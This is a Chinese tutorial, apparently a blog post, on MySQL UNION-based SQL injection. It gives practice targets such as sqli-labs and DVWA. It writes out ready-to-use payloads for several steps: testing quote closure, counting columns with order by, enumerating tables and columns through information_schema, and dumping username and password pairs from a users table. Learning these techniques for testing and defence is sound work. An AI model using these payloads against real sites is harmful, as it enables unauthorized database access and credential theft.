sql注入之union联合注入

一、Union注入

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。列数相同

union 特性是显示两张表 我们就可以吧第一个参数变为------负--的 或者不存在的值 就行了 显示就是以第二张表为主

二、判断闭合方式

1、如果都报错,则为整形闭合。

2、如果单引号报错,双引号不报错。然后尝试?id=1 ---- 无报错则单引号闭合。报错则单引号加括号。

3、如果单引号不报错,双引号报错。然后尝试?id=1"----无报错则双引号闭合。报错则双引号加括号。

4、判断真值的方法是指通过构造一个条件语句,利用应用程序返回的结果来判断闭合方式

如果是没有报错回显的情况,则可以用判断真值的方法来判断闭合方式。

例如:输入index.php?id=1',页面显示错误

再输入index.php?id=1' --+,页面显示正确

sqli labs 是双引号闭合

dvwa 是单引号闭合

三、以MySQL注入为例

1、在参数后添加引号尝试报错,并用and 1=1#and 1=2#测试报错

?id=1' and 1=1#		页面返回正常
?id=1' and 1=2#		页面返回不正常

2、利用order by猜测字段

使用语句 order by 确定当前表的字符数。
order by 1 如果页面返回正常,字段数不少于1。
order by 2 如果页面返回正常,字段数不少于2。
如此类推,直到页面出错,正确的字段数是出错数字减1。
公式 order by n-1
1' order by 1--空格 正常
1' order by 2--空格 正常
1' order by 3--空格 出错

3、利用union联合查询

-1' union select 1,2--+		--看哪个字段可以显示信息,利用它获取数据库信息
--修改id为一个不存在的id,强行报错
--因为代码默认只返回第一条结果,不会返回 union select 的结果

4、获取数据库信息

-1' union select 1,version()--+

user()		--获取数据库用户名
database()	--获取数据库名
version()	--获取数据库版本信息


--其它信息
@@datadir				--数据库路径
@@version_compile_os	--操作系统版本

5、查询数据库的表

id=-1%27 union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+


--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数,得到所有表

6、查询数据库字段

同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS,这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。

获取 users 表第一个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1)--+


获取 users 表第二个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1)--+

获取 users 表第三个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)--+

7、脱库,获取数据

通过以上的黑盒查询,获取库名、表名、字段,那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+
相关推荐
Elastic 中国社区官方博客几秒前
Elasticsearch 开放推理 API 增加了对 Google AI Studio 的支持
大数据·数据库·人工智能·elasticsearch·搜索引擎
董乐,快乐的乐!6 分钟前
Study-Oracle-11-ORALCE19C-ADG集群搭建
数据库·oracle
青云交1 小时前
大数据新视界 --大数据大厂之 Kafka 性能优化的进阶之道:应对海量数据的高效传输
大数据·数据库·人工智能·性能优化·kafka·数据压缩·分区策略·磁盘 i/o
Sarapines Programmer1 小时前
【Sqlite】sqlite内部函数sqlite3_value_text特性
数据库·sqlite·数据转换·科学计数法
打码人的日常分享1 小时前
企业人力资源管理,人事档案管理,绩效考核,五险一金,招聘培训,薪酬管理一体化管理系统(源码)
java·数据库·python·需求分析·规格说明书
好好学习的人1 小时前
SQL第12课——联结表
数据库·sql
程序员古德1 小时前
系统架构设计师论文《论NoSQL数据库技术及其应用》精选试读
数据库·nosql
Peggy·Elizabeth2 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
青云交2 小时前
大数据新视界 --大数据大厂之 DataFusion:超越传统的大数据集成与处理创新工具
数据库·内存管理·apache hive·数据集成·大数据处理·datafusion·查询处理·powercenter
s_little_monster2 小时前
【QT】QT入门
数据库·c++·经验分享·笔记·qt·学习·mfc